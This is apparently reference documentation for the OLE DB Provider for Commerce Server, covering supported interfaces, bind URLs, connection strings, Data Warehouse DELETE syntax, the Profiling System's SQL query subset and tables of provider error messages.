WSTR1K, WSTR2K, WSTR4K | Profiling System | nvarchar | Unicode string of designated length, WSTR1K is nvarchar (1000), WSTR2K is nvarchar (2000), and so on

The following figure contains the supported conversion types for consumer-requested data.

The conversion chart for data types.


OLE DB Interface Support

The following table lists the OLE DB 2.5 objects and interfaces that are supported by the OLE DB Provider for Commerce Server.

Object | Interface | Support
Binder | IBindResource | Yes
 | ICreateRow | Yes
 | IDBBinderProperties | Yes
 | ISupportErrorInfo | No
Command | IAccessor | Yes
 | IColumnsInfo | No
 | IColumnsRowset | No
 | ICommand | Yes
 | ICommandPersist | No
 | ICommandPrepare | No
 | ICommandProperties | Yes
 | ICommandText | Yes
 | ICommandWithParameters | No
 | IConnectionPointContainer | No
 | IConvertType | No
 | IDBAsynchStatus | No
 | IDBInitialize | No
 | ISupportErrorInfo | No
Data Source | IConnectionPointContainer | No
 | IDBAsynchStatus | No
 | IDBCreateSession | Yes
 | IDBDataSourceAdmin | No
 | IDBInfo | No
 | IDBInitialize | Yes
 | IDBProperties | Yes
 | IDBResetProperties | No
 | IPersist | Yes
 | IPersistFile | No
 | ISupportErrorInfo | Yes
Error | IErrorInfo | Yes
 | IErrorRecords | Yes
Multiple Results | IMultipleResults | Yes
Row | IColumnsInfo | Yes
 | IColumnsInfo2 | Yes
 | IConnectionPointContainer | No
 | IConvertType | Yes
 | ICreateRow | Yes
 | IDBAsynchStatus | No
 | IDBInitialize | No
 | IGetSession | Yes
 | IRow | Yes
 | IRowChange | Yes
 | IRowSchemaChange | No
 | IScopedOperations | No
 | ISupportErrorInfo | No
Rowset | IAccessor | Yes
 | IChapteredRowset | No
 | IColumnsInfo | Yes
 | IColumnsRowset | No
 | IConnectionPointContainer | No
 | IConvertType | Yes
 | IDBAsynchStatus | No
 | IDBInitialize | No
 | IGetRow | No
 | IRowset | Yes
 | IRowsetChange | No
 | IRowsetChapterMember | No
 | IRowsetFind | No
 | IRowsetIdentity | No
 | IRowsetIndex | No
 | IRowsetInfo | Yes
 | IRowsetLocate | No
 | IRowsetRefresh | No
 | IRowsetScroll | No
 | IRowsetUpdate | No
 | IRowsetView | No
 | ISupportErrorInfo | No
Session | IAlterIndex | No
 | IAlterTable | No
 | IBindResource | No
 | IConnectionPointContainer | No
 | ICreateRow | Yes
 | IDBASynchStatus | No
 | IDBCreateCommand | Yes
 | IDBInitialize | No
 | IDBSchemaRowset | No
 | IGetDataSource | Yes
 | IIndexDefinition | No
 | IOpenRowset | Yes
 | ISessionProperties | Yes
 | ISupportErrorInfo | Yes
 | ITableDefinition | No
 | ITransaction | No
 | ITransactionJoin | No
 | ITransactionLocal | No
 | ITransactionObject | No


Data Warehouse, Analysis, and OLE DB Provider

This section describes the functionalities of the OLE DB Provider for Commerce Server as it is used by the Data Warehouse and the Business Analytics System.

This section contains:

  • Bind URLs. Describes the commands used to bind to a Row object.
  • OLE DB Connection Strings for the Data Warehouse. Describes the connection strings recognized by the OLE DB Provider for Commerce Server.
  • Delete Syntax. Describes the syntax for deleting data from the Data Warehouse.


Bind URLs

The OLE DB Provider for Commerce Server implements a Binder object that supports direct binding to the Session object or the DSO object using the Uniform Resource Locator (URL) naming convention.

The following table lists the custom URLs that can be bound. Note that "ClassNames" is both the name of a URL and the name of a field in the returned record.

URL | Description
ClassNames | Returns a record with a ClassNames field that contains a collection of all the class names.
DimensionNames | Returns a record with a ClassNames field that contains a collection of all the dimension class names.
FactNames | Returns a record with a ClassNames field that contains a collection of all the fact class names.
RelationNames | Returns a record with a ClassNames field that contains a collection of all the class relation names.

Example

The following Microsoft Visual Basic example displays the name of each fact class. This functionality is not available in Microsoft Visual Basic Scripting Edition (VBScript) because rec("ClassNames") returns an array of Strings, not an array of Variants of String type.

Dim rec, conn, savNames, sName
Set rec = CreateObject("ADODB.Record")
Set conn = CreateObject("ADODB.Connection")

conn.Open "URL=mscop://INPROCCONNECT/Server=servername:" & _
 "Database=dbname:Catalog=dwschema:fastload=true:" & _
 "Trusted_Connection=Yes"

rec.Open "FactNames", conn

savNames = rec("ClassNames")

For Each sName In savNames
   MsgBox sName
Next

rec.Close
Set rec = Nothing
Set conn = Nothing


OLE DB Connection Strings for the Data Warehouse

Two types of connection strings are recognized by the OLE DB Provider for Commerce Server for use with the Data Warehouse. These strings are:

  • "URL=mscop://InProcConnect/Server=myserver:Database=dbname: Catalog=DWSchema:Trusted_Connection=Yes:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"
  • "Provider=commerce.dso.1;Data Source=mscop://InProcConnect/Server=myserver: Catalog=DWSchema:Database=dbname:Trusted_Connection=Yes:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"

For Windows NT Authentication use one of the following connection strings:

  • "URL=mscop://InProcConnect/Server=myserver:Database=dbname:Catalog=DWSchema:Trusted_Connection=true:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"
  • "URL=mscop://InProcConnect/Server=myserver:Database=dbname:Catalog=DWSchema:Trusted_Connection=Yes:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"

The name of the catalog must be "DWSchema".

The Fastload property must be set to True, which precludes the use of binary data. When the Fastload property is set to True you will not be able to read instance data in the classes, for example, select and update statements are not allowed.

The Connection_Retry option specifies the number of times the connection to the SQL provider will be retried when it encounters a problem. The Connection_Retry_Delay option specifies the seconds between each retry.


Delete Syntax

You can programmatically delete data from the Data Warehouse. A Data Deletion Data Transformation Services (DTS) task is provided for deleting all the data in the Data Warehouse, or for deleting Web log import data by using the TaskHistoryID property. For information about the Data Deletion DTS task, see Running the Data Deletion DTS Task.

The delete syntax format is:

   DELETE [FROM] BaseClassName
      [WITH (DELETEORPHANS | ONLYFACT | UPDATECHILDREN)]
      [WHERE where_clause]
BaseClassName
The name of the class containing the data to delete.
DELETEORPHANS
Specifies to delete any orphans produced by the delete operation. An orphan is an instance in a parent class (for example, a dimension class such as Date) that is not referenced by any of its child classes (for example, a fact class such as Request). You can periodically delete with the DELETEORPHAN option, but in general it is not necessary.
ONLYFACT
Specifies to only delete children of BaseClassName that are marked as FACT tables.
UPDATECHILDREN
Specifies to update the children, if any, of BaseClassName. For example, if you are deleting a parent class that has children referencing it, UPDATECHILDREN updates the child references to the default row.

where_clause - memberpath [NOT] operator testvalue [AND where_clause]

memberpath - [BaseClassName.][pathelements]MemberName
pathelements - (ParentName|RelationToParentName).[pathelements]
ParentName - the name of the class that is a parent to the class
immediately preceding it in memberpath
RelationToParentName - the name of the relation between the parent
and its base class
MemberName - the name of a class member from the rightmost class in
memberpath; this specifies the class member to test in where_clause
operator - one of the following operators:
= | <> | < | > | <= | <= | LIKE | IS LIKE | IS NULL | IS IN | NOT NULL
 | != | !>= | !<= | !> | !< | NOT LIKE | IS NOT LIKE | IS NOT NULL | IS NOT IN | NOT IN
testvalue - one of the following: value, IN valuelist, NULL
value - the value to test MemberName against in where_clause
valuelist - a comma-delimited list of values surrounded by parentheses

Delete Syntax Example

Set cmdDel = WScript.CreateObject("ADODB.Command.2.5")

cmdDel.CommandText = "DELETE FROM Request"
cmdDel.CommandText = "DELETE FROM Request
                         WHERE RequestNum > 2"
cmdDel.CommandText = "DELETE FROM Date
                         WHERE DTimestamp > '1998-10-29 00:00:00'"
cmdDel.CommandText = "DELETE FROM Date
                         WITH UPDATECHILDREN"
cmdDel.CommandText = "DELETE FROM Date
                         WITH DELETEORPHANS"
cmdDel.CommandText = "DELETE FROM Date
                         WITH UPDATECHILDREN
                         WHERE DTimestamp > '1998-10-29 00:00:00'"
cmdDel.CommandText = "DELETE FROM Date
                         WITH DELETEORPHANS
                         WHERE Date.DTimestamp > '1998-10-29 00:00:00'"
cmdDel.CommandText = "DELETE FROM Visit
                         WHERE DTimestamp > 1998-10-29 00:00:00'"
cmdDel.CommandText = "DELETE FROM Visit
                         WHERE DTimestamp
                            IN ('1999-10-29 00:00:00',
                                '1999-10-30 00:00:00')"
cmdDel.CommandText = "DELETE FROM Request
                         WHERE Request.Loguser.IPRef.Hostname = " & _
                           "'1.1.1.1'"
cmdDel.Execute


Profiling System and OLE DB Provider

This section describes the functionalities of the OLE DB Provider for Commerce Server as it is used by the Profiling System.

This section contains:

  • Aggregation Across Multiple Data Sources. Describes the ability of the OLE DB Provider for Commerce Server to manipulate objects aggregated across multiple data sources.
  • OLE DB Connection Strings for the Profiling System. Describes the connection strings recognized by the OLE DB Provider for Commerce Server.
  • SQL Queries. Describes the subset of ANSI SQL language used to manipulate objects aggregated across multiple data sources.


Aggregation Across Multiple Data Sources

This topic describes the ability of the OLE DB Provider for Commerce Server to aggregate profile object data from multiple disparate data sources into a single homogeneous OLE DB Row object.

The data aggregation layer handles requests for fetching specified properties of profile object data, inserting new profile objects, deleting profile objects, updating specified properties of profile object data, and combining the results of running search queries simultaneously across multiple data stores.

The data aggregation layer provides support for the following data source types:

  • Microsoft Active Directory directory service
  • Microsoft SQL Server 2000
  • Line-of-Business (LOB) store with the following support:
    • An OLE DB/Open Database Connectivity (ODBC) provider with support for a simple published subset of ANSI SQL

    or

    • A Lightweight Directory Access Protocol version 3 (LDAPv3) compliant directory store.

The data aggregation layer is optimized for performance and scalability against Active Directory and SQL Server stores.

The data aggregation layer is implemented as four components:

  • Aggregation layer, which is part of the OLE DB Provider for Commerce Server itself.
  • Directory component.
  • Microsoft SQL Server 2000.
  • LOB stores component.

The aggregation layer processes requests by splitting them into sub-requests appropriate to each aggregated data store and passing them to components responsible for those stores.


OLE DB Connection Strings for the Profiling System

Two types of connection strings are recognized by the OLE DB Provider for Commerce Server for use with the Profiling System:

  • "URL=mscop://InProcConnect/Server=myserver:Database=dbname:
    Catalog=Profile Definitions:Trusted_Connection=Yes"
  • "Provider=commerce.dso.1;Data Source=mscop://InProcConnect/Server=myserver:Database=dbname:
    Catalog=Profile Definitions:Trusted_Connection=Yes "

The URL-based format is the recommended format.

The name of the catalog must be "Profile Definitions".

The Fastload option (False by default) is not used by the Profiling System.


SQL Queries

This section describes the subset of ANSI SQL language used to manipulate objects aggregated across multiple data sources.

SQL Query Syntax

Restrictions

SQL Query Syntax

The following code example shows the SQL query syntax supported by the OLE DB Provider for Commerce Server:

SELECT select_list FROM class_name
   [WHERE search_condition]
   [ORDER BY order_expression]

select_list ::= member_name | member_name , member_list
search_condition ::= in_exression | predicate |
                     predicate AND search_condition
in_expression ::= member_name IN ( value1, … , valueN )
predicate ::=
      member_name { = | <> | > | >= | < | <= | LIKE } value |
      member_name IS [NOT] NULL
order_expression::= member_name*

INSERT [INTO] class_name member_list VALUES value_list

member_list ::= member_name | member_name , member_list
value_list ::= value | value , value_list

UPDATE class_name SET member_value_list WHERE search_condition

member_value_list ::= member_value | member_value , member_value_list
member_value ::= member_name = value
DELETE [FROM] class_name WHERE search_condition

Restrictions

The following restrictions apply to the query syntax:

  • All members in all queries must be specified by their fully qualified names.
  • Active Directory does not support queries using the less than (<) or greater than (>) operators. For more information, see RFC 2254, "The String Representation of LDAP Search Filters".
  • Queries cannot be ordered by multiple properties when these properties are stored in Active Directory.
  • Membership Directory does not support sorting.
  • Nonprintable characters are not supported.
  • The results set from a SELECT query is streamed back in the order in which the underlying data store returns the data.
  • All members in the WHERE or ORDER_BY clauses must belong to the same underlying data store. If both WHERE and ORDER_BY clauses are present, then all members in both clauses must map to the same underlying data store.
  • Only single-valued Number (Integer, Float), String, Currency or Date/Time/Datetime data types are supported in the WHERE clause.
  • LIKE clauses support wildcard searches through the '%' character only. All members in LIKE clauses must be of the String data type.
  • The semicolon (;) is used as the delimiter for values in a multi-valued property. Thus, values in a multi-valued property must not contain a semicolon.
  • INSERT and UPDATE commands allow multi-valued property values. The following examples illustrate the use of multi-valued properties:
    INSERT INTO UserObject (Name, Interests)
VALUES ('Joe', ('Basketball', 'Baseball'))

UPDATE UserObject
SET (Interests = ('Basketball', Baseball'))
WHERE Name = 'Joe'
  • A single quote must be escaped with another single quote.
  • A double quote does not need to be escaped with another double quote unless the query is in Visual Basic Scripting Edition (VBScript) code.


OLE DB Error Messages

This section lists all the error messages associated with the OLE DB Provider for Commerce Server.

Message IDs are 16-bit quantities and their range is divided as follows:

0x0000 : ignored

0x0001 - 0x0FFF : Metabase

0x1000 - 0x13FF : Logger

0x1400 - 0x15FF : FiltMan

0x1600 - 0x18FF : Service

0x1900 - 0x20FF : LinkChecker

0x2100 - 0x23FF : Reporting

0x3000 - 0x37FF : Utilities

0x8000 - 0x80FF : Out of memory messages range for all components

This section contains:

  • General OLE DB Error Messages
  • OLE DB Command Parsing Error Messages
  • OLE DB Row and Rowset Error Messages
  • OLE DB URL Command Error Messages
  • OLE DB Property Utility Error Messages
  • OLE DB Resolve Partitions Error Messages
  • OLE DB Catalog Error Messages
  • Schemamgr.cpp Error Messages for the OLE DB
  • SQLPathTrans.cpp Error Messages for the OLE DB
  • Bindargs.cpp Error Messages for the OLE DB
  • OLE DB Binder Property Error Messages
  • OLE DB CCommand Error Messages
  • OLE DB Data Source Error Messages
  • OLE DB Command Error Messages
  • OLE DB Object Related Error Messages
  • OLE DB Schema Manager Error Messages
  • OLE DB Enhanced Relation Data SubSystem Error Messages
  • OLE DB Create Class Factory Error Messages
  • Aggregation Layer CS SQL Provider Error Messages for the OLE DB
  • OLE DB DbConnectionPool Error Messages
  • OLE DB Utility Error Messages
  • OLE DB Calculation Renderer Error Messages
  • OLE DB Report Renderer Error Messages
  • DTS Task Error Messages for the OLE DB


General OLE DB Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_XMLLoadFailed | OutputBase = 16 Failed to load XML from file %1. Catalog now invalid. (%2). | 0xC8018001L
MSCOP_E_EqualOperatorOnly | OutputBase = 16 Only '=' operator valid in the WHERE clause when loading single rows. | 0xC8018002L
MSCOP_E_SchemaChangeModeNotEnabled | OutputBase = 16 The command '%1' requires Schema Change Mode to be enabled. | 0xC8018003L
MSCOP_E_CatalogObjListEmpty | OutputBase = 16 The catalog objects container being read is currently empty. (URL: %1). | 0xC8018004L
MSCOP_E_ErrorParseKeyMemName | Error parsing the key member name for URL '%1'. Command syntax is 'KeyMember/<Key-Name>/<Key-Member-Name>'. | 0xC8018005L
MSCOP_E_UnknownMemberName | Referenced member name '%1' is unknown. | 0xC8018006L
MSCOP_E_CtlgContainsError | The %1 operation cannot be performed because catalog is in an invalid state. Release the current session. | 0xC8018007L
MSCOP_E_XmlLibInitFailed | Failed to initialize the XML conversion library (%1) | 0xC8018008L
MSCOP_E_ReleaseXMLConversionLibraryFailed | Failed to release XML conversion library (%1) | 0xC8018009L
MSCOP_E_OutOfMemoryInCreateSiteOrHost | Unable to allocate memory in CreateSiteOrHost. | 0xC801800AL
MSCOP_E_CatalogRowAlreadyCommitted | Catalog row has already been committed. No further changes can be made. | 0xC801800BL
MSCOP_E_SetOnReadOnlyProperty | Attempt to set read only data for property: %1 | 0xC801800CL
MSCOP_E_SetOnGeneratedProperty | Attempt to set value for a generated property: %1 | 0xC801800DL


OLE DB Command Parsing Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_BulkStmtWithNoINSERT | BULK statement had no INSERT | 0xCA148010L
MSCOP_E_BulkStmtClassNotFound | Class name in BULK statement not found in Catalog | 0xCA148011L
MSCOP_E_BulkStmtNoFROM | BULK statement had no FROM clause | 0xCA148012L
MSCOP_E_BulkStmtNoDataFile | BULK statement had no data file name | 0xCA148013L
MSCOP_E_BulkStmtNoFormatFile | BULK statement had no format file name | 0xCA148014L
MSCOP_E_BulkLoadInitializeCommandFailed | BULK INSERT statement failed to initialize bulk load command (%1) | 0xCA148015L
MSCOP_E_BulkINSERTFailed | BULK INSERT statement failed to load data (%1) | 0xCA148016L
MSCOP_E_DataFormatFileInitializationFailed | Initializing the data format file failed: %1 | 0xCA148017L
MSCOP_E_BulkCommandNULLClsDef | NULL Class in Bulk Command initialization | 0xCA148018L
MSCOP_E_BulkCommandNULLDataFile | NULL Data File name in Bulk Command initialization | 0xCA148019L
MSCOP_E_BulkCommandNULLFormatFile | NULL Format File name in Bulk Command initialization | 0xCA14801AL
MSCOP_E_ProcessingDataFormatFileFailed | Failed processing the data format file: %1 | 0xCA14801BL
MSCOP_E_ImportingDataFileFailed | Failed importing the data file: %1. | 0xCA14801CL
MSCOP_E_AllMembersInORDERBYClause | Member names required in ORDER BY clause. '*' is not allowed | 0xCA14801DL
MSCOP_E_NoMembersInORDERBYClause | Member names required in ORDER BY clause. | 0xCA14801EL
MSCOP_E_UnknownValueType | Unknown value type %1 | 0xCA14801FL
MSCOP_E_ParseMemsErrorOpenParen | Syntax error: ParseMemListInParen(), expecting '(', url: %1 | 0xCA148020L
MSCOP_E_ParseMemsErrorCloseParen | Syntax error: ParseMemListInParen(), expecting ')', url: %1 | 0xCA148021L
MSCOP_E_ParseAddMemberFailed | ParseMemberNames(), couldn't add %1 to the member list | 0xCA148022L
MSCOP_E_ParseMemberFailed | ParseMemberNames(), error parsing member name. url : %1 | 0xCA148023L
MSCOP_E_ParseValsErrorOpenParen | ParseValsListInParen(), expecting '(', url: %1 | 0xCA148024L
MSCOP_E_ParseValsErrorCloseParen | ParseValsListInParen(), expecting ')', url: %1 | 0xCA148025L
MSCOP_E_ParseValSetErrorOpenParen | Error: ParseValueSet(), expecting '(' for after IN, url: %1 | 0xCA148026L
MSCOP_E_ParseValSetErrorCloseParen | Error expecting ',' or ')' after value %1 (%2) | 0xCA148027L
MSCOP_E_ParseValSetMultiValInVal | IN values cannot have multi-values (%1) | 0xCA148028L
MSCOP_E_ParseValSetParseFailure | URLCommand::ParseValueSet(), Could not parse value %1 (%2) | 0xCA148029L
MSCOP_E_ParseValSetTooManyValuesInSet | Too many values in set - max count is %1 | 0xCA14802AL
MSCOP_E_ParseValSetErrorRetrievingValue | Error retrieving value (%1) | 0xCA14802BL
MSCOP_E_ParseValSetSetMemberFailed | URLCommand::ParseCSVValuesList(), Could not set member %1 into the row. type : %2, url : %3 | 0xCA14802CL
MSCOP_E_ParseClassOrViewNameNotFound | Expecting class/view name, url: %1 | 0xCA14802DL
MSCOP_E_ParseMemberNotFound | Expecting member name, url: %1 | 0xCA14802EL
MSCOP_E_ValidateMemberLengthTooLong | URLCommand::ValidateMember, String length too long for %1 (max=%2) | 0xCA14802FL
MSCOP_E_ParseExpectingRelationalOperator | ParseSimplExpr(), expecting relational operator, url: %1 | 0xCA148030L
MSCOP_E_ParseCouldntConvertValue | ParseSimplExpr(), Couldn't convert value for member %1, url: %2 | 0xCA148031L
MSCOP_E_ParseIllegalMultiValExpression | Multi-values are not supported inside expressions for member %1, url: %2 | 0xCA148032L
MSCOP_E_ParseMemberValidationFailed | ParseSimplExpr(), Member validation failed, hr: %1, url: %2 | 0xCA148033L
MSCOP_E_ParseExprNodeErrorOpenParen | ParseExprNode(), expecting '(', url: %1 | 0xCA148034L
MSCOP_E_ParseExprNodeErrorCloseParen | ParseExprNode(), expecting ')', url: %1 | 0xCA148035L
MSCOP_E_ParseExprNested | ParseExpr(), too many nested expression terms, url: %1 | 0xCA148036L
MSCOP_E_ParseExprExpectedLogicalOperator | ParseExpr(), expecting logical operatior, url: %1 | 0xCA148037L
MSCOP_E_ParseClsDefClassNotFound | URLCommand::ParseClassDef(), Could not find class '%1' | 0xCA148038L
MSCOP_E_CommandNumberMismatch | AddUrlCmdMapEntry(), command number mismatch, name: %1, new cmd: %2, cmd: %3 | 0xCA148039L
MSCOP_E_FunctionNumberMismatch | AddUrlCmdMapEntry(), function number mismatch, name: %1, new function: %2, cmd: %3 | 0xCA14803AL
MSCOP_E_NoColonInNamespace | Expecting colon (:) in namespce | 0xCA14803BL
MSCOP_E_ToSimpleFailed | ParseSimplExpr(), ToSimple failed, hr: %1, url: %2 | 0xCA14803CL
MSCOP_E_CommandNotRegistered | Command: '%1' not registered | 0xCA14803DL
MSCOP_E_InvalidComplexExpression | Only AND is supported in complex expressions (for example, WHERE x > 1 AND y < 1) | 0xCA14803EL
MSCOP_E_AllocatingMemberInfo | Error allocating new MemberInfo structure. | 0xCA14803FL
MSCOP_E_AddingMemberInfo | Error adding MemberInfo to Member list %1 | 0xCA148040L
MSCOP_E_INSERTNoInto | INSERT statement had no INTO - url : %1 | 0xCA148041L
MSCOP_E_INSERTBadClassName | INSERT statement had a bad class name - url : %1 | 0xCA148042L
MSCOP_E_INSERTBadMemberClause | INSERT statement had bad member clause | 0xCA148043L
MSCOP_E_INSERTNoVALUESClause | INSERT statement had no VALUES clause | 0xCA148044L
MSCOP_E_InitRowImplFailed | InitRowImpl failed. Could not create row (%1) - url : %2 | 0xCA148045L
MSCOP_E_INSERTBadValues | INSERT statement had bad VALUES (%1) | 0xCA148046L
MSCOP_E_INSERTNoCommasInVALUES | INSERT VALUES must have parenthesis to delimit values | 0xCA148047L
MSCOP_E_INSERTExpectingMemberList | INSERT VALUES must have parenthesis to delimit values | 0xCA148048L
MSCOP_E_SETExpectingEQUAL | Expecting '=' operator in SET clause, url: %1 | 0xCA148049L
MSCOP_E_WHEREAddPropFailed | Couldn't add value in WHERE | 0xCA14804AL
MSCOP_E_WHEREClauseInvalid | Invalid WHERE clause | 0xCA14804BL
MSCOP_E_WHEREOnlyAND | Only 'AND' is supported in DELETE WHERE clauses. | 0xCA14804CL
MSCOP_E_DELETEFailed | DELETE operation failed. Statement: %1, SchemaVer : %2, GuidContext : %3 | 0xCA14804DL
MSCOP_E_InvalidNamespace | Invalid namespce | 0xCA14804EL
MSCOP_E_WHEREOrORDERBYClauseError | Error in WHERE or ORDER BY parsing, hr: %1, url: %2 | 0xCA148050L
MSCOP_E_ClassAttributeClassNotFound | Class Attribute command could not find Class name %1 | 0xCA148051L
MSCOP_E_ClassAttributeNotInSchemaChangeMode | Schema Change Mode is required to create a new class attribute | 0xCA148052L
MSCOP_E_ClassAttributeExpectingAttributeName | Class Attribute command expecting attribute name | 0xCA148053L
MSCOP_E_ClassAttributeExpectingClassName | Class Attribute command expecting class name | 0xCA148054L
MSCOP_E_ParseMissingClassName | In CmdClsDef::Parse(), missing class name, url:%1 | 0xCA148055L
MSCOP_E_MemberAttributeMemberNotFound | Member Attribute command could not find Member name %1 | 0xCA148056L
MSCOP_E_MemberAttributeNotInSchemaChangeMode | Schema Change Mode is required to create a new member attribute | 0xCA148057L
MSCOP_E_MemberAttributeExpectingAttributeName | Member Attribute command expecting attribute name | 0xCA148058L
MSCOP_E_MemberAttributeExpectingMemberName | Member Attribute command expecting member name | 0xCA148059L
MSCOP_E_MemberAttributeExpectingClassName | Member Attribute command expecting class name | 0xCA14805AL
MSCOP_E_PartitionDefClassNotFound | Partition def command could not find associated Class def name %1 | 0xCA14805BL
MSCOP_E_PartitionDefNotInSchemaChangeMode | Partition Def '%1' not found. Cannot create new Partition def when schema change mode not enabled | 0xCA14805CL
MSCOP_E_PartitionDefClassMismatch | The Class name '%1' is not associated with the partition '%2'. Current class is '%3'. | 0xCA14805DL
MSCOP_E_MultipleResultsEOM | SetNoResultsCommand(), Error allocating MultipleResults object - Out of memory | 0xCA148060L
MSCOP_E_MultipleResultsInitialization | SetNoResultsCommand(), Error Initializing Multiple Results Object (%2) | 0xCA148061L
MSCOP_E_UPDATEBadClass | UPDATE statement had a bad class name | 0xCA148062L
MSCOP_E_UPDATENoSet | UPDATE statement had no SET | 0xCA148063L
MSCOP_E_UPDATEExpectingWHERE | CmdClsInst::ParseUpdate(), UPDATE expecting WHERE. url : %1 | 0xCA148064L
MSCOP_E_UPDATEErrorParsingSET | CmdClsInst::ParseUpdate(), Error parsing SET values (%1) - url : %2 | 0xCA148065L
MSCOP_E_StoreOpWithoutJoinKey | Can't %1 into a class without a join key | 0xCA148066L
MSCOP_E_SingleInstanceUPDATEFailed | CmdClsInst::ParseUpdate(), Could not perform single instance UPDATE operation (%1) | 0xCA148067L
MSCOP_E_QUERYUnknownObjects | Unknown object type requested in QUERY, url: %1 | 0xCA148068L
MSCOP_E_QUERYFailed | Failure in query processing, hr: %1, url: %2 | 0xCA148069L
MSCOP_E_MEMINFOLISTAddFailed | ValidateMembers(), Could not add member %1 in class %2 to memlist (%3) | 0xCA14806AL
MSCOP_E_SELECTWithNoClass | Can't perform a SELECT operation on a class without key (ClassName: %1, Command: %2) | 0xCA14806BL
MSCOP_E_DELETEFailedCreatingGUID | Delete operation failed to create an instance of a new guid (%1) | 0xCA14806CL
MSCOP_E_AddingElementToSQLPath | Error adding element %1 to the SQL Path | 0xCA14806DL
MSCOP_E_DELETEClauseInvalidOperator | Invalid Relational Operator specified in delete where clause | 0xCA14806EL
MSCOP_E_RelationOperatorCanNotBeAppliedToSQLPath | Relational operator can not be applied to existing where path: %1 | 0xCA14806FL
MSCOP_E_InvalidMemberInWHEREClase | Invalid member specified in where clause. | 0xCA148070L
MSCOP_E_AggregatorQUERYFailed | Aggregator failed QUERY, hr: %1, url: %2 | 0xCA148071L
MSCOP_E_DELETEQueryFailed | Failed to execute delete query. SCODE: %1 | 0xCA148072L
MSCOP_E_WITHClauseMalformed | Malformed WITH clause | 0xCA148073L
MSCOP_E_WHEREClauseMalformed | Malformed WHERE clause. | 0xCA148074L
ERDS_E_UnexpectedToken | Unexpected token (%1). | 0xCA148075L
MSCOP_E_MissingValue | Missing value in query. | 0xCA148076L

Messages for the Session

Message ID | Message Text | HResult
MSCOP_E_SESSIONFailedToGetActiveCatalog | Session - Could not get the active catalog (%1) | 0xCA2A8001L
MSCOP_E_SESSIONMoreThanOneChangeSessionActive | Cannot have more than one catalog change session active | 0xCA2A8002L
MSCOP_E_SESSIONUnableToInitializeDataSourceProperties | Unable to initialize Data source Properties | 0xCA2A8003L


OLE DB Row and Rowset Error Messages

This section contains:

  • OLE DB Rowset Error Messages
  • OLE DB Row Error Messages
  • OLE DB Crow Error Messages


OLE DB Rowset Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_ROWSETPropertyInitializationFailed | Error initializing Rowset properties (%1) | 0xCA278001L
MSCOP_E_ROWSETAccessorInitializationFailed | Error initializing Rowset properties (%1) | 0xCA278002L
MSCOP_E_ROWSETFailedRetrievingRowsFromStorageLayer | Rowset(%1)::Init - Error retrieving initial batch of row data from storage layer (%2), batch : %3 | 0xCA278003L
MSCOP_E_ROWSETEmptyRowsetRetrieved | In CRowset(%1)::Init(), EMPTY ROWSET RETRIEVED! | 0xCA278004L
MSCOP_E_ROWSETErrorInitializingMemDefArray | PopulateMemberArray(), Error initializing MemberDef array (%1) | 0xCA278005L
MSCOP_E_ROWSETGetRowFromHROWEOM | GetRowFromHROW(),Out of memory creating member def array | 0xCA278006L
MSCOP_E_ROWSETGetRowFromHROWInitializeRowFailed | GetRowFromHROW(), Error initializing Row (%1) | 0xCA278007L
MSCOP_E_ROWSETElementInRowCacheNULL | Element in row cache from Storage is NULL | 0xCA278008L
MSCOP_E_ROWSETGetDataEOM | GetData(), Error allocating memory (for the client) for HROW's | 0xCA278009L
MSCOP_E_ROWSETRefreshCachedRowsErrorRetrievingRowsFromStorageLayer | Rowset(%1) RefreshCachedRows() Error retrieving initial batch of row data from storage layer (%2), batch: %3 | 0xCA27800AL


OLE DB Row Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_RowImplMemberNotAlreadyLoaded | Member not in current list of loaded Members. | 0xCA248001L
MSCOP_E_RowImplGetColumnsError | Errors occurred in CRowImpl::GetColumns. (%1) | 0xCA248002L
MSCOP_E_RowImplRequiredMemberNotSet | CRowImpl::ValidateData(), Error - member %1 is a required member which isn't set | 0xCA248003L
MSCOP_E_RowImplColumnValidationFailed | Validation of the column %1 failed.(%2) | 0xCA248004L
MSCOP_E_RowImplRowValidationFailed | Validation of the row failed - Make sure required fields are set (%1) | 0xCA248005L
MSCOP_E_RowImplNoJoinKey | No Join key specified for the class %1 - cannot perform SetColumns() operation. | 0xCA248006L
MSCOP_E_RowImplNoAsyncOperations | Provider does not support Async operations | 0xCA248007L
MSCOP_E_RowImplInvalidRowForDelete | Can only delete the current row | 0xCA248008L
MSCOP_E_RowImplValueDoesNotExist | A value was not found for property (%1) in the underlying row. | 0xCA248009L
MSCOP_E_RowMemberInfoListAdditionFailure | Could not add member definition to MemberInfoList (%1) | 0xCA24800AL
MSCOP_E_RowCouldNotReadAlreadyLoadedFlag | Couldn't retrieve AlreadyLoaded flag for member. | 0xCA24800BL
MSCOP_E_RowGetColumnsFailure | Errors occurred in CRowImpl::GetColumns. (%1) | 0xCA24800CL
MSCOP_E_RowGetCRowDataCouldNotReadIsLoaded | Could not retrieve IsLoaded flag on member %1 | 0xCA24800DL
MSCOP_E_RowGetCRowDataCouldNotReadUpdated | Could not retrieve Updated flag on member %1 | 0xCA24800EL
MSCOP_E_RowGetCRowDataLoadMemberFailed | LoadMember failed for %1, hr=%2. | 0xCA24800FL
MSCOP_E_NullKeyColumn | A NULL-value key column is not valid ('%1') | 0xCA248010L


OLE DB Crow Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CRowAddMember | Error setting value into Row (%1) | 0xCA318001L
MSCOP_E_CRowMVFILETIMEConversionError | Error converting value from FILETIME to SYSTEMTIME in MV case (fy - %i64) | 0xCA318002L
MSCOP_I_CRowMVMarshallingError | Marshalling Multi-value data - VT %1 not supported | 0x4A320001L
MSCOP_E_CRowBOOLConversionError | Cannot size conversion from DBTYPE BOOL to dest CSOLEDB type %1 | 0xCA318003L
MSCOP_E_CRowBSTRConversionError | Cannot size conversion from BSTR/WSTR to dest CSOLEDB type %1 | 0xCA318004L
MSCOP_E_CRowCYConversionError | Cannot size conversion from DBTYPE CY to dest CSOLEDB type %1 | 0xCA318005L
MSCOP_E_CRowI2ConversionError | Cannot size conversion from DBTYPE I2 to dest CSOLEDB type %1 | 0xCA318006L
